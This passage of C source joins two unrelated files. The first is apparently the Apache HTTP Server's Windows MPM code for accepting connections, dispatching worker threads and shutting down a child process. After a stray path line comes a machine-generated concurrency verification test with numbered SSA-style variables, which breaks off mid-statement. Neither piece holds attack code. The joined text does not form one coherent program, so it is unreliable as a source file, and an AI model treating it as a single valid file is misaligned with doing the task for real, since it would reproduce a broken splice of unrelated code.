resource constraint? Try again."); Sleep(100); continue; } buf = context->buff; /* AcceptEx on the completion context. The completion context will be * signaled when a connection is accepted. */ if (!lpfnAcceptEx(nlsd, context->accept_socket, buf, 0, PADDED_ADDR_SIZE, PADDED_ADDR_SIZE, &BytesRead, &context->overlapped)) { rv = apr_get_netos_error(); if ((rv == APR_FROM_OS_ERROR(WSAECONNRESET)) || (rv == APR_FROM_OS_ERROR(WSAEACCES))) { /* We can get here when: * 1) the client disconnects early * 2) handshake was incomplete */ closesocket(context->accept_socket); context->accept_socket = INVALID_SOCKET; continue; } else if ((rv == APR_FROM_OS_ERROR(WSAEINVAL)) || (rv == APR_FROM_OS_ERROR(WSAENOTSOCK))) { /* We can get here when: * 1) TransmitFile does not properly recycle the accept socket (typically * because the client disconnected) * 2) there is VPN or Firewall software installed with * buggy WSAAccept or WSADuplicateSocket implementation * 3) the dynamic address / adapter has changed * Give five chances, then fall back on AcceptFilter 'none' */ closesocket(context->accept_socket); context->accept_socket = INVALID_SOCKET; ++err_count; if (err_count > MAX_ACCEPTEX_ERR_COUNT) { ap_log_error(APLOG_MARK, APLOG_ERR, rv, ap_server_conf, APLOGNO(00337) "Child: Encountered too many AcceptEx " "faults accepting client connections. " "Possible causes: dynamic address renewal, " "or incompatible VPN or firewall software. "); ap_log_error(APLOG_MARK, APLOG_NOTICE, rv, ap_server_conf, APLOGNO(00338) "winnt_mpm: falling back to " "'AcceptFilter none'."); err_count = 0; accf = ACCEPT_FILTER_NONE; } continue; } else if ((rv != APR_FROM_OS_ERROR(ERROR_IO_PENDING)) && (rv != APR_FROM_OS_ERROR(WSA_IO_PENDING))) { closesocket(context->accept_socket); context->accept_socket = INVALID_SOCKET; ++err_count; if (err_count > MAX_ACCEPTEX_ERR_COUNT) { ap_log_error(APLOG_MARK, APLOG_ERR, rv, ap_server_conf, APLOGNO(00339) "Child: Encountered too many AcceptEx " "faults accepting client connections."); ap_log_error(APLOG_MARK, APLOG_NOTICE, rv, ap_server_conf, APLOGNO(00340) "winnt_mpm: falling back to " "'AcceptFilter none'."); err_count = 0; accf = ACCEPT_FILTER_NONE; goto reinit; } continue; } err_count = 0; events[0] = context->overlapped.hEvent; do { rv = WaitForMultipleObjectsEx(3, events, FALSE, INFINITE, TRUE); } while (rv == WAIT_IO_COMPLETION); if (rv == WAIT_OBJECT_0) { if ((context->accept_socket != INVALID_SOCKET) && !GetOverlappedResult((HANDLE)context->accept_socket, &context->overlapped, &BytesRead, FALSE)) { ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_os_error(), ap_server_conf, APLOGNO(00341) "winnt_accept: Asynchronous AcceptEx failed."); closesocket(context->accept_socket); context->accept_socket = INVALID_SOCKET; } } else { /* exit_event triggered or event handle was closed */ closesocket(context->accept_socket); context->accept_socket = INVALID_SOCKET; break; } if (context->accept_socket == INVALID_SOCKET) { continue; } } err_count = 0; /* Potential optimization; consider handing off to the worker */ /* Inherit the listen socket settings. Required for * shutdown() to work */ if (setsockopt(context->accept_socket, SOL_SOCKET, SO_UPDATE_ACCEPT_CONTEXT, (char *)&nlsd, sizeof(nlsd))) { ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_netos_error(), ap_server_conf, APLOGNO(00342) "setsockopt(SO_UPDATE_ACCEPT_CONTEXT) failed."); /* Not a failure condition. Keep running. */ } /* Get the local & remote address * TODO; error check */ lpfnGetAcceptExSockaddrs(buf, 0, PADDED_ADDR_SIZE, PADDED_ADDR_SIZE, &context->sa_server, &context->sa_server_len, &context->sa_client, &context->sa_client_len); } else /* accf == ACCEPT_FILTER_NONE */ { /* There is no socket reuse without AcceptEx() */ if (context->accept_socket != INVALID_SOCKET) closesocket(context->accept_socket); /* This could be a persistent event per-listener rather than * per-accept. However, the event needs to be removed from * the target socket if not removed from the listen socket * prior to accept(), or the event select is inherited. * and must be removed from the accepted socket. */ do { rv = WaitForMultipleObjectsEx(3, events, FALSE, INFINITE, TRUE); } while (rv == WAIT_IO_COMPLETION); if (rv != WAIT_OBJECT_0 + 2) { /* not FD_ACCEPT; * exit_event triggered or event handle was closed */ break; } context->sa_server = (void *) context->buff; context->sa_server_len = sizeof(context->buff) / 2; context->sa_client_len = context->sa_server_len; context->sa_client = (void *) (context->buff + context->sa_server_len); context->accept_socket = accept(nlsd, context->sa_server, &context->sa_server_len); if (context->accept_socket == INVALID_SOCKET) { rv = apr_get_netos_error(); if ( rv == APR_FROM_OS_ERROR(WSAECONNRESET) || rv == APR_FROM_OS_ERROR(WSAEINPROGRESS) || rv == APR_FROM_OS_ERROR(WSAEWOULDBLOCK) ) { ap_log_error(APLOG_MARK, APLOG_DEBUG, rv, ap_server_conf, APLOGNO(00343) "accept() failed, retrying."); continue; } /* A more serious error than 'retry', log it */ ap_log_error(APLOG_MARK, APLOG_WARNING, rv, ap_server_conf, APLOGNO(00344) "accept() failed."); if ( rv == APR_FROM_OS_ERROR(WSAEMFILE) || rv == APR_FROM_OS_ERROR(WSAENOBUFS) ) { /* Hopefully a temporary condition in the provider? */ Sleep(100); ++err_count; if (err_count > MAX_ACCEPTEX_ERR_COUNT) { ap_log_error(APLOG_MARK, APLOG_ERR, rv, ap_server_conf, APLOGNO(00345) "Child: Encountered too many accept() " "resource faults, aborting."); break; } continue; } break; } /* Per MSDN, cancel the inherited association of this socket * to the WSAEventSelect API, and restore the state corresponding * to apr_os_sock_make's default assumptions (really, a flaw within * os_sock_make and os_sock_put that it does not query). */ WSAEventSelect(context->accept_socket, 0, 0); err_count = 0; context->sa_server_len = sizeof(context->buff) / 2; if (getsockname(context->accept_socket, context->sa_server, &context->sa_server_len) == SOCKET_ERROR) { ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_netos_error(), ap_server_conf, APLOGNO(00346) "getsockname failed"); continue; } if ((getpeername(context->accept_socket, context->sa_client, &context->sa_client_len)) == SOCKET_ERROR) { ap_log_error(APLOG_MARK, APLOG_WARNING, apr_get_netos_error(), ap_server_conf, APLOGNO(00347) "getpeername failed"); memset(&context->sa_client, '\0', sizeof(context->sa_client)); } } sockinfo.os_sock = &context->accept_socket; sockinfo.local = context->sa_server; sockinfo.remote = context->sa_client; sockinfo.family = context->sa_server->sa_family; sockinfo.type = SOCK_STREAM; sockinfo.protocol = IPPROTO_TCP; /* Restore the state corresponding to apr_os_sock_make's default * assumption of timeout -1 (really, a flaw of os_sock_make and * os_sock_put that it does not query to determine ->timeout). * XXX: Upon a fix to APR, these three statements should disappear. */ ioctlsocket(context->accept_socket, FIONBIO, &zero); setsockopt(context->accept_socket, SOL_SOCKET, SO_RCVTIMEO, (char *) &zero, sizeof(zero)); setsockopt(context->accept_socket, SOL_SOCKET, SO_SNDTIMEO, (char *) &zero, sizeof(zero)); apr_os_sock_make(&context->sock, &sockinfo, context->ptrans); /* When a connection is received, send an io completion notification * to the ThreadDispatchIOCP. */ PostQueuedCompletionStatus(ThreadDispatchIOCP, BytesRead, IOCP_CONNECTION_ACCEPTED, &context->overlapped); context = NULL; } if (accf == ACCEPT_FILTER_NONE) CloseHandle(events[2]); if (!shutdown_in_progress) { /* Yow, hit an irrecoverable error! Tell the child to die. */ SetEvent(exit_event); } ap_log_error(APLOG_MARK, APLOG_DEBUG, APR_SUCCESS, ap_server_conf, APLOGNO(00348) "Child: Accept thread exiting."); return 0; } static winnt_conn_ctx_t *winnt_get_connection(winnt_conn_ctx_t *context) { int rc; DWORD BytesRead; LPOVERLAPPED pol; #ifdef _WIN64 ULONG_PTR CompKey; #else DWORD CompKey; #endif mpm_recycle_completion_context(context); apr_atomic_inc32(&g_blocked_threads); while (1) { if (workers_may_exit) { apr_atomic_dec32(&g_blocked_threads); return NULL; } rc = GetQueuedCompletionStatus(ThreadDispatchIOCP, &BytesRead, &CompKey, &pol, INFINITE); if (!rc) { rc = apr_get_os_error(); ap_log_error(APLOG_MARK, APLOG_DEBUG, rc, ap_server_conf, APLOGNO(00349) "Child: GetQueuedCompletionStatus returned %d", rc); continue; } switch (CompKey) { case IOCP_CONNECTION_ACCEPTED: context = CONTAINING_RECORD(pol, winnt_conn_ctx_t, overlapped); break; case IOCP_SHUTDOWN: apr_atomic_dec32(&g_blocked_threads); return NULL; default: apr_atomic_dec32(&g_blocked_threads); return NULL; } break; } apr_atomic_dec32(&g_blocked_threads); return context; } /* * worker_main() * Main entry point for the worker threads. Worker threads block in * win*_get_connection() awaiting a connection to service. */ static DWORD __stdcall worker_main(void *thread_num_val) { apr_thread_t *thd; apr_os_thread_t osthd; static int requests_this_child = 0; winnt_conn_ctx_t *context = NULL; int thread_num = (int)thread_num_val; ap_sb_handle_t *sbh; conn_rec *c; apr_int32_t disconnected; osthd = apr_os_thread_current(); while (1) { ap_update_child_status_from_indexes(0, thread_num, SERVER_READY, NULL); /* Grab a connection off the network */ context = winnt_get_connection(context); if (!context) { /* Time for the thread to exit */ break; } /* Have we hit MaxConnectionsPerChild connections? */ if (ap_max_requests_per_child) { requests_this_child++; if (requests_this_child > ap_max_requests_per_child) { SetEvent(max_requests_per_child_event); } } ap_create_sb_handle(&sbh, context->ptrans, 0, thread_num); c = ap_run_create_connection(context->ptrans, ap_server_conf, context->sock, thread_num, sbh, context->ba); if (!c) { /* ap_run_create_connection closes the socket on failure */ context->accept_socket = INVALID_SOCKET; continue; } thd = NULL; apr_os_thread_put(&thd, &osthd, context->ptrans); c->current_thread = thd; ap_process_connection(c, context->sock); ap_lingering_close(c); apr_socket_opt_get(context->sock, APR_SO_DISCONNECTED, &disconnected); if (!disconnected) { context->accept_socket = INVALID_SOCKET; } } ap_update_child_status_from_indexes(0, thread_num, SERVER_DEAD, NULL); return 0; } static void cleanup_thread(HANDLE *handles, int *thread_cnt, int thread_to_clean) { int i; CloseHandle(handles[thread_to_clean]); for (i = thread_to_clean; i < ((*thread_cnt) - 1); i++) handles[i] = handles[i + 1]; (*thread_cnt)--; } /* * child_main() * Entry point for the main control thread for the child process. * This thread creates the accept thread, worker threads and * monitors the child process for maintenance and shutdown * events. */ static void create_listener_thread(void) { unsigned tid; int num_listeners = 0; /* Start an accept thread per listener * XXX: Why would we have a NULL sd in our listeners? */ ap_listen_rec *lr; /* Number of completion_contexts allowed in the system is * (ap_threads_per_child + num_listeners). We need the additional * completion contexts to prevent server hangs when ThreadsPerChild * is configured to something less than or equal to the number * of listeners. This is not a usual case, but people have * encountered it. */ for (lr = ap_listeners; lr ; lr = lr->next) { num_listeners++; } max_num_completion_contexts = ap_threads_per_child + num_listeners; /* Now start a thread per listener */ for (lr = ap_listeners; lr; lr = lr->next) { if (lr->sd != NULL) { /* A smaller stack is sufficient. * To convert to CreateThread, the returned handle cannot be * ignored, it must be closed/joined. */ _beginthreadex(NULL, 65536, winnt_accept, (void *) lr, stack_res_flag, &tid); } } } void child_main(apr_pool_t *pconf, DWORD parent_pid) { apr_status_t status; apr_hash_t *ht; ap_listen_rec *lr; HANDLE child_events[3]; HANDLE *child_handles; int listener_started = 0; int threads_created = 0; int watch_thread; int time_remains; int cld; DWORD tid; int rv; int i; int num_events; /* Get a sub context for global allocations in this child, so that * we can have cleanups occur when the child exits. */ apr_pool_create(&pchild, pconf); apr_pool_tag(pchild, "pchild"); ap_run_child_init(pchild, ap_server_conf); ht = apr_hash_make(pchild); /* Initialize the child_events */ max_requests_per_child_event = CreateEvent(NULL, TRUE, FALSE, NULL); if (!max_requests_per_child_event) { ap_log_error(APLOG_MARK, APLOG_CRIT, apr_get_os_error(), ap_server_conf, APLOGNO(00350) "Child: Failed to create a max_requests event."); exit(APEXIT_CHILDINIT); } child_events[0] = exit_event; child_events[1] = max_requests_per_child_event; if (parent_pid != my_pid) { child_events[2] = OpenProcess(SYNCHRONIZE, FALSE, parent_pid); if (child_events[2] == NULL) { num_events = 2; ap_log_error(APLOG_MARK, APLOG_ERR, apr_get_os_error(), ap_server_conf, APLOGNO(02643) "Child: Failed to open handle to parent process %ld; " "will not react to abrupt parent termination", parent_pid); } else { num_events = 3; } } else { /* presumably -DONE_PROCESS */ child_events[2] = NULL; num_events = 2; } /* * Wait until we have permission to start accepting connections. * start_mutex is used to ensure that only one child ever * goes into the listen/accept loop at once. */ status = apr_proc_mutex_lock(start_mutex); if (status != APR_SUCCESS) { ap_log_error(APLOG_MARK, APLOG_ERR, status, ap_server_conf, APLOGNO(00351) "Child: Failed to acquire the start_mutex. " "Process will exit."); exit(APEXIT_CHILDINIT); } ap_log_error(APLOG_MARK, APLOG_DEBUG, APR_SUCCESS, ap_server_conf, APLOGNO(00352) "Child: Acquired the start mutex."); /* * Create the worker thread dispatch IOCompletionPort */ /* Create the worker thread dispatch IOCP */ ThreadDispatchIOCP = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 0, 0); apr_thread_mutex_create(&qlock, APR_THREAD_MUTEX_DEFAULT, pchild); qwait_event = CreateEvent(NULL, TRUE, FALSE, NULL); if (!qwait_event) { ap_log_error(APLOG_MARK, APLOG_CRIT, apr_get_os_error(), ap_server_conf, APLOGNO(00353) "Child: Failed to create a qwait event."); exit(APEXIT_CHILDINIT); } /* * Create the pool of worker threads */ ap_log_error(APLOG_MARK, APLOG_NOTICE, APR_SUCCESS, ap_server_conf, APLOGNO(00354) "Child: Starting %d worker threads.", ap_threads_per_child); child_handles = (HANDLE) apr_pcalloc(pchild, ap_threads_per_child * sizeof(HANDLE)); apr_thread_mutex_create(&child_lock, APR_THREAD_MUTEX_DEFAULT, pchild); while (1) { for (i = 0; i < ap_threads_per_child; i++) { int *score_idx; int status = ap_scoreboard_image->servers[0][i].status; if (status != SERVER_GRACEFUL && status != SERVER_DEAD) { continue; } ap_update_child_status_from_indexes(0, i, SERVER_STARTING, NULL); child_handles[i] = CreateThread(NULL, ap_thread_stacksize, worker_main, (void *) i, stack_res_flag, &tid); if (child_handles[i] == 0) { ap_log_error(APLOG_MARK, APLOG_CRIT, apr_get_os_error(), ap_server_conf, APLOGNO(00355) "Child: CreateThread failed. Unable to " "create all worker threads. Created %d of the %d " "threads requested with the ThreadsPerChild " "configuration directive.", threads_created, ap_threads_per_child); ap_signal_parent(SIGNAL_PARENT_SHUTDOWN); goto shutdown; } threads_created++; /* Save the score board index in ht keyed to the thread handle. * We need this when cleaning up threads down below... */ apr_thread_mutex_lock(child_lock); score_idx = apr_pcalloc(pchild, sizeof(int)); *score_idx = i; apr_hash_set(ht, &child_handles[i], sizeof(HANDLE), score_idx); apr_thread_mutex_unlock(child_lock); } /* Start the listener only when workers are available */ if (!listener_started && threads_created) { create_listener_thread(); listener_started = 1; winnt_mpm_state = AP_MPMQ_RUNNING; } if (threads_created == ap_threads_per_child) { break; } /* Check to see if the child has been told to exit */ if (WaitForSingleObject(exit_event, 0) != WAIT_TIMEOUT) { break; } /* wait for previous generation to clean up an entry in the scoreboard */ apr_sleep(1 * APR_USEC_PER_SEC); } /* Wait for one of these events: * exit_event: * The exit_event is signaled by the parent process to notify * the child that it is time to exit. * * max_requests_per_child_event: * This event is signaled by the worker threads to indicate that * the process has handled MaxConnectionsPerChild connections. * * parent process exiting * * TIMEOUT: * To do periodic maintenance on the server (check for thread exits, * number of completion contexts, etc.) * * XXX: thread exits *aren't* being checked. * * XXX: other_child - we need the process handles to the other children * in order to map them to apr_proc_other_child_read (which is not * named well, it's more like a_p_o_c_died.) * * XXX: however - if we get a_p_o_c handle inheritance working, and * the parent process creates other children and passes the pipes * to our worker processes, then we have no business doing such * things in the child_main loop, but should happen in master_main. */ while (1) { #if !APR_HAS_OTHER_CHILD rv = WaitForMultipleObjects(num_events, (HANDLE *)child_events, FALSE, INFINITE); cld = rv - WAIT_OBJECT_0; #else /* THIS IS THE EXPECTED BUILD VARIATION -- APR_HAS_OTHER_CHILD */ rv = WaitForMultipleObjects(num_events, (HANDLE *)child_events, FALSE, 1000); cld = rv - WAIT_OBJECT_0; if (rv == WAIT_TIMEOUT) { apr_proc_other_child_refresh_all(APR_OC_REASON_RUNNING); } else #endif if (rv == WAIT_FAILED) { /* Something serious is wrong */ ap_log_error(APLOG_MARK, APLOG_CRIT, apr_get_os_error(), ap_server_conf, APLOGNO(00356) "Child: WAIT_FAILED -- shutting down server"); /* check handle validity to identify a possible culprit */ for (i = 0; i < num_events; i++) { DWORD out_flags; if (0 == GetHandleInformation(child_events[i], &out_flags)) { ap_log_error(APLOG_MARK, APLOG_CRIT, apr_get_os_error(), ap_server_conf, APLOGNO(02644) "Child: Event handle #%d (%pp) is invalid", i, child_events[i]); } } break; } else if (cld == 0) { /* Exit event was signaled */ ap_log_error(APLOG_MARK, APLOG_DEBUG, APR_SUCCESS, ap_server_conf, APLOGNO(00357) "Child: Exit event signaled. Child process is " "ending."); break; } else if (cld == 2) { /* The parent is dead. Shutdown the child process. */ ap_log_error(APLOG_MARK, APLOG_CRIT, 0, ap_server_conf, APLOGNO(02538) "Child: Parent process exited abruptly. Child process " "is ending"); break; } else { /* MaxConnectionsPerChild event set by the worker threads. * Signal the parent to restart */ ap_log_error(APLOG_MARK, APLOG_NOTICE, APR_SUCCESS, ap_server_conf, APLOGNO(00358) "Child: Process exiting because it reached " "MaxConnectionsPerChild. Signaling the parent to " "restart a new child process."); ap_signal_parent(SIGNAL_PARENT_RESTART); break; } } /* * Time to shutdown the child process */ shutdown: winnt_mpm_state = AP_MPMQ_STOPPING; /* Close the listening sockets. Note, we must close the listeners * before closing any accept sockets pending in AcceptEx to prevent * memory leaks in the kernel. */ for (lr = ap_listeners; lr ; lr = lr->next) { apr_socket_close(lr->sd); } /* Shutdown listener threads and pending AcceptEx sockets * but allow the worker threads to continue consuming from * the queue of accepted connections. */ shutdown_in_progress = 1; Sleep(1000); /* Tell the worker threads to exit */ workers_may_exit = 1; /* Release the start_mutex to let the new process (in the restart * scenario) a chance to begin accepting and servicing requests */ rv = apr_proc_mutex_unlock(start_mutex); if (rv == APR_SUCCESS) { ap_log_error(APLOG_MARK, APLOG_DEBUG, rv, ap_server_conf, APLOGNO(00359) "Child: Released the start mutex"); } else { ap_log_error(APLOG_MARK, APLOG_ERR, rv, ap_server_conf, APLOGNO(00360) "Child: Failure releasing the start mutex"); } /* Shutdown the worker threads * Post worker threads blocked on the ThreadDispatch IOCompletion port */ while (g_blocked_threads > 0) { ap_log_error(APLOG_MARK, APLOG_DEBUG, APR_SUCCESS, ap_server_conf, APLOGNO(00361) "Child: %d threads blocked on the completion port", g_blocked_threads); for (i=g_blocked_threads; i > 0; i--) { PostQueuedCompletionStatus(ThreadDispatchIOCP, 0, IOCP_SHUTDOWN, NULL); } Sleep(1000); } /* Empty the accept queue of completion contexts */ apr_thread_mutex_lock(qlock); while (qhead) { CloseHandle(qhead->overlapped.hEvent); closesocket(qhead->accept_socket); qhead = qhead->next; } apr_thread_mutex_unlock(qlock); /* Give busy threads a chance to service their connections * (no more than the global server timeout period which * we track in msec remaining). */ watch_thread = 0; time_remains = (int)(ap_server_conf->timeout / APR_TIME_C(1000)); while (threads_created) { int nFailsafe = MAXIMUM_WAIT_OBJECTS; DWORD dwRet; /* Every time we roll over to wait on the first group * of MAXIMUM_WAIT_OBJECTS threads, take a breather, * and infrequently update the error log. */ if (watch_thread >= threads_created) { if ((time_remains -= 100) < 0) break; /* Every 30 seconds give an update */ if ((time_remains % 30000) == 0) { ap_log_error(APLOG_MARK, APLOG_NOTICE, APR_SUCCESS, ap_server_conf, APLOGNO(00362) "Child: Waiting %d more seconds " "for %d worker threads to finish.", time_remains / 1000, threads_created); } /* We'll poll from the top, 10 times per second */ Sleep(100); watch_thread = 0; } /* Fairness, on each iteration we will pick up with the thread * after the one we just removed, even if it's a single thread. * We don't block here. */ dwRet = WaitForMultipleObjects(min(threads_created - watch_thread, MAXIMUM_WAIT_OBJECTS), child_handles + watch_thread, 0, 0); if (dwRet == WAIT_FAILED) { break; } if (dwRet == WAIT_TIMEOUT) { /* none ready */ watch_thread += MAXIMUM_WAIT_OBJECTS; continue; } else if (dwRet >= WAIT_ABANDONED_0) { /* We just got the ownership of the object, which * should happen at most MAXIMUM_WAIT_OBJECTS times. * It does NOT mean that the object is signaled. */ if ((nFailsafe--) < 1) break; } else { watch_thread += (dwRet - WAIT_OBJECT_0); if (watch_thread >= threads_created) break; cleanup_thread(child_handles, &threads_created, watch_thread); } } /* Kill remaining threads off the hard way */ if (threads_created) { ap_log_error(APLOG_MARK, APLOG_NOTICE, APR_SUCCESS, ap_server_conf, APLOGNO(00363) "Child: Terminating %d threads that failed to exit.", threads_created); } for (i = 0; i < threads_created; i++) { int *idx; TerminateThread(child_handles[i], 1); CloseHandle(child_handles[i]); /* Reset the scoreboard entry for the thread we just whacked */ idx = apr_hash_get(ht, &child_handles[i], sizeof(HANDLE)); if (idx) { ap_update_child_status_from_indexes(0, *idx, SERVER_DEAD, NULL); } } ap_log_error(APLOG_MARK, APLOG_NOTICE, APR_SUCCESS, ap_server_conf, APLOGNO(00364) "Child: All worker threads have exited."); apr_thread_mutex_destroy(child_lock); apr_thread_mutex_destroy(qlock); CloseHandle(qwait_event); CloseHandle(ThreadDispatchIOCP); apr_pool_destroy(pchild); CloseHandle(exit_event); if (child_events[2] != NULL) { CloseHandle(child_events[2]); } } #endif /* def WIN32 */
the_stack_data/1091063.c
#ifdef COMPILE_FOR_TEST #include <assert.h> #define assume(cond) assert(cond) #endif void main(int argc, char* argv[]) { int x_0_0;//sh_buf.outcnt int x_0_1;//sh_buf.outcnt int x_0_2;//sh_buf.outcnt int x_0_3;//sh_buf.outcnt int x_0_4;//sh_buf.outcnt int x_0_5;//sh_buf.outcnt int x_1_0;//sh_buf.outbuf[0] int x_1_1;//sh_buf.outbuf[0] int x_2_0;//sh_buf.outbuf[1] int x_2_1;//sh_buf.outbuf[1] int x_3_0;//sh_buf.outbuf[2] int x_3_1;//sh_buf.outbuf[2] int x_4_0;//sh_buf.outbuf[3] int x_4_1;//sh_buf.outbuf[3] int x_5_0;//sh_buf.outbuf[4] int x_5_1;//sh_buf.outbuf[4] int x_6_0;//sh_buf.outbuf[5] int x_7_0;//sh_buf.outbuf[6] int x_8_0;//sh_buf.outbuf[7] int x_9_0;//sh_buf.outbuf[8] int x_10_0;//sh_buf.outbuf[9] int x_11_0;//LOG_BUFSIZE int x_11_1;//LOG_BUFSIZE int x_12_0;//CREST_scheduler::lock_0 int x_13_0;//t3 T0 int x_14_0;//t2 T0 int x_15_0;//arg T0 int x_16_0;//functioncall::param T0 int x_16_1;//functioncall::param T0 int x_17_0;//buffered T0 int x_18_0;//functioncall::param T0 int x_18_1;//functioncall::param T0 int x_19_0;//functioncall::param T0 int x_19_1;//functioncall::param T0 int x_20_0;//functioncall::param T0 int x_20_1;//functioncall::param T0 int x_21_0;//functioncall::param T0 int x_21_1;//functioncall::param T0 int x_22_0;//direction T0 int x_23_0;//functioncall::param T0 int x_23_1;//functioncall::param T0 int x_24_0;//functioncall::param T0 int x_24_1;//functioncall::param T0 int x_25_0;//functioncall::param T0 int x_25_1;//functioncall::param T0 int x_26_0;//functioncall::param T0 int x_26_1;//functioncall::param T0 int x_27_0;//functioncall::param T0 int x_27_1;//functioncall::param T0 int x_28_0;//functioncall::param T0 int x_28_1;//functioncall::param T0 int x_29_0;//functioncall::param T0 int x_29_1;//functioncall::param T0 int x_30_0;//functioncall::param T0 int x_30_1;//functioncall::param T0 int x_31_0;//functioncall::param T0 int x_31_1;//functioncall::param T0 int x_32_0;//functioncall::param T0 int x_32_1;//functioncall::param T0 int x_33_0;//functioncall::param T0 int x_33_1;//functioncall::param T0 int x_34_0;//functioncall::param T0 int x_34_1;//functioncall::param T0 int x_35_0;//functioncall::param T1 int x_35_1;//functioncall::param T1 int x_36_0;//functioncall::param T1 int x_36_1;//functioncall::param T1 int x_37_0;//i T1 int x_37_1;//i T1 int x_37_2;//i T1 int x_38_0;//rv T1 int x_39_0;//functioncall::param T1 int x_39_1;//functioncall::param T1 int x_40_0;//functioncall::param T1 int x_40_1;//functioncall::param T1 int x_41_0;//functioncall::param T1 int x_41_1;//functioncall::param T1 int x_42_0;//functioncall::param T1 int x_42_1;//functioncall::param T1 int x_43_0;//functioncall::param T2 int x_43_1;//functioncall::param T2 int x_44_0;//functioncall::param T2 int x_44_1;//functioncall::param T2 int x_45_0;//i T2 int x_45_1;//i T2 int x_45_2;//i T2 int x_45_3;//i T2 int x_46_0;//rv T2 int x_47_0;//rv T2 int x_47_1;//rv T2 int x_48_0;//functioncall::param T2 int x_48_1;//functioncall::param T2 int x_49_0;//functioncall::param T2 int x_49_1;//functioncall::param T2 int x_50_0;//functioncall::param T2 int x_50_1;//functioncall::param T2 int x_51_0;//functioncall::param T2 int x_51_1;//functioncall::param T2 int x_52_0;//functioncall::param T2 int x_52_1;//functioncall::param T2 int x_53_0;//functioncall::param T2 int x_53_1;//functioncall::param T2 int x_53_2;//functioncall::param T2 int x_54_0;//functioncall::param T2 int x_54_1;//functioncall::param T2 int x_55_0;//functioncall::param T2 int x_55_1;//functioncall::param T2 int x_56_0;//functioncall::param T2 int x_56_1;//functioncall::param T2 T_0_0_0: x_0_0 = 0; T_0_1_0: x_1_0 = 0; T_0_2_0: x_2_0 = 0; T_0_3_0: x_3_0 = 0; T_0_4_0: x_4_0 = 0; T_0_5_0: x_5_0 = 0; T_0_6_0: x_6_0 = 0; T_0_7_0: x_7_0 = 0; T_0_8_0: x_8_0 = 0; T_0_9_0: x_9_0 = 0; T_0_10_0: x_10_0 = 0; T_0_11_0: x_11_0 = 0; T_0_12_0: x_13_0 = 3400355232; T_0_13_0: x_14_0 = 3407589984; T_0_14_0: x_15_0 = 0; T_0_15_0: x_16_0 = 300709643; T_0_16_0: x_16_1 = -1; T_0_17_0: x_17_0 = 0; T_0_18_0: x_18_0 = 1174093656; T_0_19_0: x_18_1 = x_17_0; T_0_20_0: x_19_0 = 1802494687; T_0_21_0: x_19_1 = 97; T_0_22_0: x_20_0 = 1397076724; T_0_23_0: x_20_1 = 0; T_0_24_0: x_21_0 = 1501328568; T_0_25_0: x_21_1 = 0; T_0_26_0: x_22_0 = -887381952; T_0_27_0: x_23_0 = 954802383; T_0_28_0: x_23_1 = x_22_0; T_0_29_0: x_24_0 = 1024881605; T_0_30_0: x_24_1 = 0; T_0_31_0: x_12_0 = -1; T_0_32_0: x_0_1 = 5; T_0_33_0: x_1_1 = 72; T_0_34_0: x_2_1 = 69; T_0_35_0: x_3_1 = 76; T_0_36_0: x_4_1 = 76; T_0_37_0: x_5_1 = 79; T_0_38_0: x_25_0 = 1011003142; T_0_39_0: x_25_1 = 83; T_0_40_0: x_26_0 = 1687702084; T_0_41_0: x_26_1 = 1; T_0_42_0: x_27_0 = 710242249; T_0_43_0: x_27_1 = 1; T_0_44_0: x_28_0 = 1614571996; T_0_45_0: x_28_1 = 1; T_0_46_0: x_29_0 = 411042069; T_0_47_0: x_29_1 = 82; T_0_48_0: x_30_0 = 489868347; T_0_49_0: x_30_1 = 90; T_0_50_0: x_31_0 = 734830229; T_0_51_0: x_31_1 = 1; T_0_52_0: x_32_0 = 1310540378; T_0_53_0: x_32_1 = 1; T_0_54_0: x_33_0 = 393615912; T_0_55_0: x_33_1 = 2; T_0_56_0: x_34_0 = 1475740464; T_0_57_0: x_34_1 = 2; T_0_58_0: x_11_1 = 6; T_1_59_1: x_35_0 = 2068578103; T_1_60_1: x_35_1 = x_27_1; T_1_61_1: x_36_0 = 441164105; T_1_62_1: x_36_1 = x_28_1; T_1_63_1: x_37_0 = 0; T_1_64_1: x_38_0 = 838820353; T_2_65_2: x_43_0 = 322536145; T_2_66_2: x_43_1 = x_33_1; T_2_67_2: x_44_0 = 1645124889; T_2_68_2: x_44_1 = x_34_1; T_2_69_2: x_45_0 = 0; T_2_70_2: x_46_0 = 836719105; T_1_71_1: if (x_36_1 < x_11_1) x_39_0 = 897691853; T_1_72_1: if (x_36_1 < x_11_1) x_39_1 = 47905226401536; T_1_73_1: if (x_36_1 < x_11_1) x_40_0 = 1529713488; T_1_74_1: if (x_36_1 < x_11_1) x_40_1 = x_0_1 + x_36_1; T_1_75_1: if (x_36_1 < x_11_1) x_37_1 = 0; T_1_76_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_41_0 = 668948981; T_1_77_1: if (x_36_1 < x_11_1 && x_37_1 < x_35_1) x_41_1 = 47905226401536; T_1_78_1: if (x_36_1 < x_11_1) x_37_2 = 1 + x_37_1; T_1_79_1: if (x_36_1 < x_11_1) x_42_0 = 1502086731; T_1_80_1: if (x_36_1 < x_11_1) x_42_1 = 47905226401536; T_2_81_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_47_0 = 4321289; T_2_82_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_48_0 = 1122541164; T_2_83_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_48_1 = -1; T_2_84_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_18_1 == 0) x_47_1 = x_48_1; T_2_85_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0 && x_18_1 == 0 && x_47_1 + 1 == 0) x_0_2 = 0; T_2_86_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_49_0 = 391360024; T_2_87_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_49_1 = 9; T_2_88_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_50_0 = 2049539973; T_2_89_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_50_1 = x_49_1; T_2_90_2: if (x_0_1 + x_44_1 > x_11_1 && x_0_1 != 0) x_0_3 = 0; T_2_91_2: if (x_44_1 < 